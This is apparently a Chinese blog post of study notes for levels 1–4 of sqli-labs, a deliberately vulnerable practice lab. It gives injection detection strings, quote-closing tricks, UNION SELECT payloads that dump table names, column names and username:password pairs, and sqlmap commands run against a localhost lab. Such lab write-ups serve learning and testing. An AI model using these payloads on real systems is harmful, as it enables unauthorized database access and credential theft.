2020.4.1 sqli-labs--第一至第四关

1.验证方式:’ 或 and 1=1 and 1= 2 如果页面不显示内容或者报mysql错误,就说明存在注入。(get和post传参都可用)

2.mysql5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息,其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)
schemata表中,schema_name字段用来存储数据库名
tables表中,table_schema和table_name分别用来存储数据库名和表名
columns表中,table_schema(数据库名),table_name(表名),column_name(字段名)

3.mysql注释:#或–空格(%20)或/**/

GET报错注入

less1--根据注入位置数据类型可将sql注入分为:数字型和字符型。用 ?id=1 和?id=1’ 探测是否存在SQL注入。发现前者返回正常,后者会出现mysql语法错误。
错误: ’ ‘1’’ LIMIT 0.1 ’
SQL: select login_name,password from admin where id=‘id’ limit 0,1;

less2
错误: ’ ’ LIMIT 0,1 ’
SQL: select login_name ,password from admin where id=id limit 0,1;

less3–
错误 : ’ ‘1’’) LIMIT 0,1 ’
SQL: select login_name,password from admin where id=(‘id’) limit 0,1;
构造闭合:?id=1’) --+ 或者 ?id=1’) --%20 //–+表示注释后面的内容

less-4-- 双引号绕过:
错误:‘ “1\”) LIMIT 0,1 ’ 或者 ’ " 1"") LIMIT 0,1 ’ //这里的\对 “ 进行了转义. //这里 “ ” 使里面的单引号转化为 1
SQL: select login_name,password from admin where id=(“ID”) limit 0,1
构造闭合: ?id=1") --+ 或者 ?id=1") --%20

利用:
1. 利用 order by 判断字段数
?id=1’ order by 3 --+
**2.**利用 union select 联合查询,从当前数据库获取表名。
?id=0’ union select 1, group_concat(table_name) , 3 from information_schema.tables where table_schema=database() --+
**3.**查询字段名。
?id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
**4.**获取字段值
?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+

以test1为例

查数据库
python sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-1/?id=1” --dbs --batch //–batch 可以防止询问是否要啥啥啥的。
在这里插入图片描述

查表名
python sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-1/?id=1” --D security --tables --batch
在这里插入图片描述
查字段名
python sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-1/?id=1” -D security -T users --columns --batch
在这里插入图片描述
查字段值
python sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-1/?id=1” -D security -T users -C “username,password” --batc

在这里插入图片描述

发布了48 篇原创文章 · 获赞 3 · 访问量 3369

猜你喜欢

转载自blog.csdn.net/DSR446/article/details/105252259
今日推荐